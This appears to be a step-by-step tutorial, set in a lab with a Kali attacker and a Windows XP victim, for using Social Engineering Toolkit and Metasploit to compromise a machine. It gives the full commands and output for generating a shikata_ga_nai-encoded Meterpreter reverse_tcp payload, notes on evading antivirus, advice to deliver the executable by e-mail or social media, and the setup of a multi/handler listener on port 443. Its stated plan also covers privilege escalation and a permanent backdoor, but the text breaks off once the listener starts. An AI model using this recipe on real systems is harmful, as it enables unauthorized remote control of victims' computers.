We have the following scenario:
Victim (Windows XP Machine) IP Address: 192.168.1.2
Attacker (Kali Linux Machine) IP Address: 192.168.1.3
We will use Social Engineering Toolkit in Kali Linux to generate a malicious executable payload that, when made to run at the Windows XP machine,will get the attacker complete access of the victim's machine. Then the attacker will use Metasploit to install a permanent backdoor on the victim machine.
We will perform the following steps:
1) Create malicious payload
2) Give the payload to the Victim.
3) Create listener (for the payload) on the Attacker on port 443.
4) When the user executes the payload, the Victim connects to the Attacker on port 443.
5) Escalate privilege to Windows user SYSTEM.
6) Install backdoor on the Victim.
7) Create listener (for the backdoor) on the Attacker on port 80.
8) Whenever the Victim boots, it automatically connects to the Attacker.
Perform the following steps on the Attacker (Kali Linux) Machine:
1) Create malicious executable payload.
1.1) Start Social Engineering Toolkit.
root@kali:~# setoolkit
1.2) Select option 1) Social Engineering Attacks
set> 1
1.3) Select option 4) Create a Payload and Listener
set> 4
set:payloads> Enter the IP address for the payload (reverse):192.168.1.3
What payload do you want to generate:
Name: Description:
1) Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker
2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker
3) Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker
4) Windows Bind Shell Execute payload and create an accepting port on remote system
set:payloads>2
Select one of the below, 'backdoored executable' is typically the best. However,
most still get picked up by AV. You may need to do additional packing/crypting
in order to get around basic AV detection.
1) shikata_ga_nai
2) No Encoding
3) Multi-Encoder
4) Backdoored Executable
set:encoding>1
set:payloads> PORT of the listener [443]:
[-] Encoding the payload 4 times. [-]
[*] x86/shikata_ga_nai succeeded with size 314 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 395 (iteration=4)
[*] Your payload is now in the root directory of SET as payload.exe
[-] The payload can be found in the SET home directory.
set> Start the listener now? [yes|no]: no
2) We need to send this payload file /usr/share/set/payload.exe to the Victim using social media, e-mail, uploading at a server, or any other type of choice.
3) Set up a handler on the Attacker machine using Metasploit.
3.1) Start the services.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
3.2) Start metasploit console.
root@kali:~# msfconsole
msf >
3.3) Select exploit.
msf > use exploit/multi/handler
3.4) Select payload.
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
3.5) View options
msf exploit(handler) > show options

LPORT => 443
3.7) Execute exploit
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.3:443
[*] Starting the payload handler...
4) As soon as the victim runs the executable file, the payload will make a connection to the attacker system, giving the attacker complete control of the victim machine.
